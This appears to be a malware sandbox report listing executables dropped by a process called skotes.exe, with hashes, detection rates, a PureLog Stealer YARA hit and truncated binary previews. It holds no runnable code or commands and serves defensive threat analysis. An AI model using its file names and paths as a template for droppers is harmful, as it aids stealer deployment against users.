Download File

Process:	C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: random.exe_Y.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\zudFSfy[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1114112
Entropy (8bit):	7.7336985855739355
Encrypted:	false
SSDEEP:	24576:FAu2uOTJr0/sBIpMvVEDvtNNVpk3BLSx+ptEH76duCiheu2:4ugJAGIpMmZNNEBLSx4EHGxiC
MD5:	EF08A45833A7D881C90DED1952F96CB4
SHA1:	F04AEEB63A1409BD916558D2C40FAB8A5ED8168B
SHA-256:	33C236DC81AF2A47D595731D6FA47269B2874B281152530FDFFDDA9CBEB3B501
SHA-512:	74E84F710C90121527F06D453E9286910F2E8B6AC09D2AEB4AB1F0EAD23EA9B410C5D1074D8BC759BC3E766B5BC77D156756C7DF093BA94093107393290CED97
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...$.cg..............0......2........... ........@.. .......................`............@.....................................W.......H/...................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...H/.......0..................@..@.reloc.......@......................@..B........................H........<..........K.......`p...........................................Y?.F60...5..8....4zc.:.V........N.0...1.....O*.S..~.......I...pR..iI......Pn}...iJ!BH.+o/S..yj...8T'.}....y.I.kD.....'....$.6....}..w[. )...j..[.-..0....\|...p....h\..L....R.T.~......b.K.h....".8.s`)...1... ....[i&.9....a?.F..N..~..._.^...Q.....43.L.....@v...x..IB.4...........\|......(........~.Y.L.S..;..x.)w...v...:..2.....y.%{3w.)..^..7......@...7..k.H..p}."..%.p....0.g.3....g..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21504
Entropy (8bit):	5.336742061370928
Encrypted:	false
SSDEEP:	384:JiynHMEyyp/He7ik+KcJB669mNPBqVgYERHtNNVYISZS1d7RroV5:PHvtm7ik+KcJB6jRHkISZShkn
MD5:	14BECDF1E2402E9AA6C2BE0E6167041E
SHA1:	72CBBAE6878F5E06060A0038B25EDE93B445F0DF
SHA-256:	7A769963165063758F15F6E0CECE25C9D13072F67FA0D3C25A03A5104FE0783A
SHA-512:	16B837615505F352E134AFD9D8655C9CABFA5BFCFBEE2C0C34F2D7D9588AA71F875E4E5FEB8CDF0F7BACC00F7C1CA8DABD3B3D92AFC99ABF705C05C78E298B4A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 11%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...pm;..........."...0..J..........:i... ........@.. ....................................`..................................h..O...................................Th..8............................................ ............... ..H............text...@I... ...J.................. ..`.rsrc................L..............@..@.reloc...............R..............@..B.................i......H........6..p1...........................................................0..8.......s2.....(....}<.....}=.....};....\|<.....(...+.\|<...(.....0..P........~.........,B.r...p(.....rc..p(.....(.....r...p.(....(......(....o......(.......0..8.......s,.....(....}......}......}.....\|......(...+.\|....(.....0..H........s......./......+....~.....~.....io.........X.......-.r...p.(......+....0............r...p( ...o!....+.....0............r...p( ...o!....+.....0..2.........r...pr...p

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	442368
Entropy (8bit):	6.051643515538571
Encrypted:	false
SSDEEP:	12288:yla3KBZV2erraVXk0jUBHkMHa4sQU3vrYd0rsb:yla3KFCk0wuM64sQU3vrYd0rY
MD5:	E03777C3B470A91082276CEEB274E6F6
SHA1:	607B1C4F360A16CEC36F2DAC91D5A8AA88332653
SHA-256:	EA60FC33528B623EA0B8AE52C1A23DF3116D8085A619FDAA463332039584AF83
SHA-512:	16972462BFE8D408826EDC21B6101CFA6AB43FACB8E02BD0451BEE0FB0F46C39AC917AD62B0A6D69213395731424092301F3F49162C4B2DB882A47BC30896B66
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....V...............P.../..Z......../.. ....0...@.. ........................2...........@.................................../.K.....0.@W...................`2.....3./.............................................. ............... ..H............text...../.. ..../................. ..`.rsrc...@W....0..X..../.............@..@.reloc.......`2......"2.............@..B................../.....H...........@.......C...@...z..........................................6+.(B.99(......:+.(.^A.(!............(..........................(.....0..........(...8y.......E....c...O.../...8^...s......... .....:....&8....s.........8....s......... .....9....& ....8....s......... ....8....s.........8.......0..............0..............0..............0..............0............................0..............0.....................0.................*...".......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1978368
Entropy (8bit):	7.951049661139132
Encrypted:	false
SSDEEP:	49152:U8xk3UHNh6Wigto5yoQlpkzN4hJ9sFZcUp2Wqqb9877dRSXJw:UckkT6WztobKe4hXsXp3qqb9CGXJ
MD5:	C29EB2D3C39A0A808F1910E0E222AC94
SHA1:	7270457CD535C48825B4328B9124985E7BF95BE1
SHA-256:	0F5AFD165EDE6D66B0A86C84B534AFCF9AC51C46B43C023F632AA0BF4F087819
SHA-512:	4AFFDC6C38038F269A51144BB22EE844918AC708E85F1C152911B0D5B82241CDE79F26FD366127A0CD7CC96ECB9AC88A8B0D90677162B6F5D5E87D68B666F118
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z...)...)...)...(...)...(...)...(...)...(...)...(...)...(...)...(...)...)..)...)...).9.(...).9.)...).9.(...)Rich...)........................PE..L..._{_d...............%.\|...^.......pK...........@...........................K.....~.....@.................................V...j.......l........................................................................................................... . .........<..................@....rsrc...l............L..............@....idata .............T..............@... ..)..........V..............@...alcvhdaz......1......X..............@...vjrkdbwz.....`K.....................@....taggant.0...pK.."..................@...........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\kz8ZdyP[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1102336
Entropy (8bit):	7.727651311182623
Encrypted:	false
SSDEEP:	24576:j1Au2uOU99WpLfrAiuED3Oc8woMYCoW6dRcC1u2:j1iuP9WRryED3OcnboW6n
MD5:	68C0E4EEFD4C6A76CFF542EF57A49CA2
SHA1:	8AA521628B89F3CE539269229834DA2A87060E76
SHA-256:	4E417FD6CCE7DBFF53412A820F4813D01DA0E7F20E7615220AAA1372CC59DB83
SHA-512:	D722432CDF836269ED3A6E181DD02C6E49D719CA9D84AA5582447D480F43CCC0F79F2D9A9191171D21EC2EA3306A97C60A0AFF6707FA3CA9E81E957BF8AAD283
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....cg..............0......2.......... ........@.. ....................... ............@.....................................O.......H/........................................................................... ............... ..H............text....... ...................... ..`.rsrc...H/.......0..................@..@.reloc..............................@..B........................H...................K........C..........................................W.-... ..B&.n.)T.:..........5.G.+.G...S...Q...0x...O....(p..z..L..S.;.$.Xl...i%.)..Z.IX.v.S^.i7..:.-r""9..5.5..;)S..a.....P^B.Kt?...!'. ...k.Y......4..v$...$Q-...0...!.@?.HM.-a.....,.?..X.0.r...,a....r...g.M...s#...q/JOvg.7h!x..Oc<s.....tQ...]..i...0.g...).d.T...Q".r2h7........gdb....@$S}.#t..B.\|.\.@.?.cx8...z....\,.JY.?\...k.}..ki..?.m...>...~.i.]pQQLy..Kb..g..8..._........... .T.....t.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	765568
Entropy (8bit):	7.855393940952922
Encrypted:	false
SSDEEP:	12288:4mOcxtujRb4+DR8KwzkS5AMtCxCz3z8JAS3p9+TPtN4+DR8KwzkS5AMtCxCz3z8U:lGtPWQ8C8z3zcB59CNPWQ8C8z3zcB590
MD5:	8A9CB17C0224A01BD34B46495983C50A
SHA1:	00296EA6A56F6E10A0F1450A20C5FB329B8856C1
SHA-256:	3D51B9523B387859BC0D94246DFB216CFA82F9D650C8D11BE11ED67F70E7440B
SHA-512:	1472E4670F469C43227B965984ECC223A526F6284363D8E08A3B5B55E602CCCE62DF4BC49939EE5BD7DF7B0C26E20DA896B084ECCAB767F8728E6BF14D71C840
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........`......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.37859781817162
Encrypted:	false
SSDEEP:	48:YWSU4xymI4RfoUeW+gZ9tK8NPZHUxL7u1iMuge//MPUyus:YLHxvIIwLgZ2KRHWLOugss
MD5:	D14F5C7A1B784757B006EEEE95CFEB3E
SHA1:	5417FB038407F0961DA315E6650AFC2B5DEE8B84
SHA-256:	194A05DA8B661FFA7825AEB07C0A11835B5025AC0A68E2D8CB0B1DF5AF053A34
SHA-512:	B08EC6730E6EBBE5C9D0BC2B176B534411CECABC73344974F0D9E7A592EDA093F10E623AFDEFA3ACBA4C975F2BB0A35F97485F5EEA0CDCF08353019B571F1AEF
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1114112
Entropy (8bit):	7.7336985855739355
Encrypted:	false
SSDEEP:	24576:FAu2uOTJr0/sBIpMvVEDvtNNVpk3BLSx+ptEH76duCiheu2:4ugJAGIpMmZNNEBLSx4EHGxiC
MD5:	EF08A45833A7D881C90DED1952F96CB4
SHA1:	F04AEEB63A1409BD916558D2C40FAB8A5ED8168B
SHA-256:	33C236DC81AF2A47D595731D6FA47269B2874B281152530FDFFDDA9CBEB3B501
SHA-512:	74E84F710C90121527F06D453E9286910F2E8B6AC09D2AEB4AB1F0EAD23EA9B410C5D1074D8BC759BC3E766B5BC77D156756C7DF093BA94093107393290CED97
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...$.cg..............0......2........... ........@.. .......................`............@.....................................W.......H/...................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...H/.......0..................@..@.reloc.......@......................@..B........................H........<..........K.......`p...........................................Y?.F60...5..8....4zc.:.V........N.0...1.....O*.S..~.......I...pR..iI......Pn}...iJ!BH.+o/S..yj...8T'.}....y.I.kD.....'....$.6....}..w[. )...j..[.-..0....\|...p....h\..L....R.T.~......b.K.h....".8.s`)...1... ....[i&.9....a?.F..N..~..._.^...Q.....43.L.....@v...x..IB.4...........\|......(........~.Y.L.S..;..x.)w...v...:..2.....y.%{3w.)..^..7......@...7..k.H..p}."..%.p....0.g.3....g..

C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1102336
Entropy (8bit):	7.727651311182623
Encrypted:	false
SSDEEP:	24576:j1Au2uOU99WpLfrAiuED3Oc8woMYCoW6dRcC1u2:j1iuP9WRryED3OcnboW6n
MD5:	68C0E4EEFD4C6A76CFF542EF57A49CA2
SHA1:	8AA521628B89F3CE539269229834DA2A87060E76
SHA-256:	4E417FD6CCE7DBFF53412A820F4813D01DA0E7F20E7615220AAA1372CC59DB83
SHA-512:	D722432CDF836269ED3A6E181DD02C6E49D719CA9D84AA5582447D480F43CCC0F79F2D9A9191171D21EC2EA3306A97C60A0AFF6707FA3CA9E81E957BF8AAD283
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....cg..............0......2.......... ........@.. ....................... ............@.....................................O.......H/........................................................................... ............... ..H............text....... ...................... ..`.rsrc...H/.......0..................@..@.reloc..............................@..B........................H...................K........C..........................................W.-... ..B&.n.)T.:..........5.G.+.G...S...Q...0x...O....(p..z..L..S.;.$.Xl...i%.)..Z.IX.v.S^.i7..:.-r""9..5.5..;)S..a.....P^B.Kt?...!'. ...k.Y......4..v$...$Q-...0...!.@?.HM.-a.....,.?..X.0.r...,a....r...g.M...s#...q/JOvg.7h!x..Oc<s.....tQ...]..i...0.g...).d.T...Q".r2h7........gdb....@$S}.#t..B.\|.\.@.?.cx8...z....\,.JY.?\...k.}..ki..?.m...>...~.i.]pQQLy..Kb..g..8..._........... .T.....t.

C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21504
Entropy (8bit):	5.336742061370928
Encrypted:	false
SSDEEP:	384:JiynHMEyyp/He7ik+KcJB669mNPBqVgYERHtNNVYISZS1d7RroV5:PHvtm7ik+KcJB6jRHkISZShkn
MD5:	14BECDF1E2402E9AA6C2BE0E6167041E
SHA1:	72CBBAE6878F5E06060A0038B25EDE93B445F0DF
SHA-256:	7A769963165063758F15F6E0CECE25C9D13072F67FA0D3C25A03A5104FE0783A
SHA-512:	16B837615505F352E134AFD9D8655C9CABFA5BFCFBEE2C0C34F2D7D9588AA71F875E4E5FEB8CDF0F7BACC00F7C1CA8DABD3B3D92AFC99ABF705C05C78E298B4A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 11%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...pm;..........."...0..J..........:i... ........@.. ....................................`..................................h..O...................................Th..8............................................ ............... ..H............text...@I... ...J.................. ..`.rsrc................L..............@..@.reloc...............R..............@..B.................i......H........6..p1...........................................................0..8.......s2.....(....}<.....}=.....};....\|<.....(...+.\|<...(.....0..P........~.........,B.r...p(.....rc..p(.....(.....r...p.(....(......(....o......(.......0..8.......s,.....(....}......}......}.....\|......(...+.\|....(.....0..H........s......./......+....~.....~.....io.........X.......-.r...p.(......+....0............r...p( ...o!....+.....0............r...p( ...o!....+.....0..2.........r...pr...p

C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1978368
Entropy (8bit):	7.951049661139132
Encrypted:	false
SSDEEP:	49152:U8xk3UHNh6Wigto5yoQlpkzN4hJ9sFZcUp2Wqqb9877dRSXJw:UckkT6WztobKe4hXsXp3qqb9CGXJ
MD5:	C29EB2D3C39A0A808F1910E0E222AC94
SHA1:	7270457CD535C48825B4328B9124985E7BF95BE1
SHA-256:	0F5AFD165EDE6D66B0A86C84B534AFCF9AC51C46B43C023F632AA0BF4F087819
SHA-512:	4AFFDC6C38038F269A51144BB22EE844918AC708E85F1C152911B0D5B82241CDE79F26FD366127A0CD7CC96ECB9AC88A8B0D90677162B6F5D5E87D68B666F118
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z...)...)...)...(...)...(...)...(...)...(...)...(...)...(...)...(...)...)..)...)...).9.(...).9.)...).9.(...)Rich...)........................PE..L..._{_d...............%.\|...^.......pK...........@...........................K.....~.....@.................................V...j.......l........................................................................................................... . .........<..................@....rsrc...l............L..............@....idata .............T..............@... ..)..........V..............@...alcvhdaz......1......X..............@...vjrkdbwz.....`K.....................@....taggant.0...pK.."..................@...........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	765568
Entropy (8bit):	7.855393940952922
Encrypted:	false
SSDEEP:	12288:4mOcxtujRb4+DR8KwzkS5AMtCxCz3z8JAS3p9+TPtN4+DR8KwzkS5AMtCxCz3z8U:lGtPWQ8C8z3zcB59CNPWQ8C8z3zcB590
MD5:	8A9CB17C0224A01BD34B46495983C50A
SHA1:	00296EA6A56F6E10A0F1450A20C5FB329B8856C1
SHA-256:	3D51B9523B387859BC0D94246DFB216CFA82F9D650C8D11BE11ED67F70E7440B
SHA-512:	1472E4670F469C43227B965984ECC223A526F6284363D8E08A3B5B55E602CCCE62DF4BC49939EE5BD7DF7B0C26E20DA896B084ECCAB767F8728E6BF14D71C840
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........`......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017355001\96ae609d19.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	442368
Entropy (8bit):	6.051643515538571
Encrypted:	false
SSDEEP:	12288:yla3KBZV2erraVXk0jUBHkMHa4sQU3vrYd0rsb:yla3KFCk0wuM64sQU3vrYd0rY
MD5:	E03777C3B470A91082276CEEB274E6F6
SHA1:	607B1C4F360A16CEC36F2DAC91D5A8AA88332653
SHA-256:	EA60FC33528B623EA0B8AE52C1A23DF3116D8085A619FDAA463332039584AF83
SHA-512:	16972462BFE8D408826EDC21B6101CFA6AB43FACB8E02BD0451BEE0FB0F46C39AC917AD62B0A6D69213395731424092301F3F49162C4B2DB882A47BC30896B66
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\1017355001\96ae609d19.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....V...............P.../..Z......../.. ....0...@.. ........................2...........@.................................../.K.....0.@W...................`2.....3./.............................................. ............... ..H............text...../.. ..../................. ..`.rsrc...@W....0..X..../.............@..@.reloc.......`2......"2.............@..B................../.....H...........@.......C...@...z..........................................6+.(B.99(......:+.(.^A.(!............(..........................(.....0..........(...8y.......E....c...O.../...8^...s......... .....:....&8....s.........8....s......... .....9....& ....8....s......... ....8....s.........8.......0..............0..............0..............0..............0............................0..............0.....................0.................*...".......

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4wzmc3hd.i2p.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5krgodvg.mgp.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d3idj5yp.w5l.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
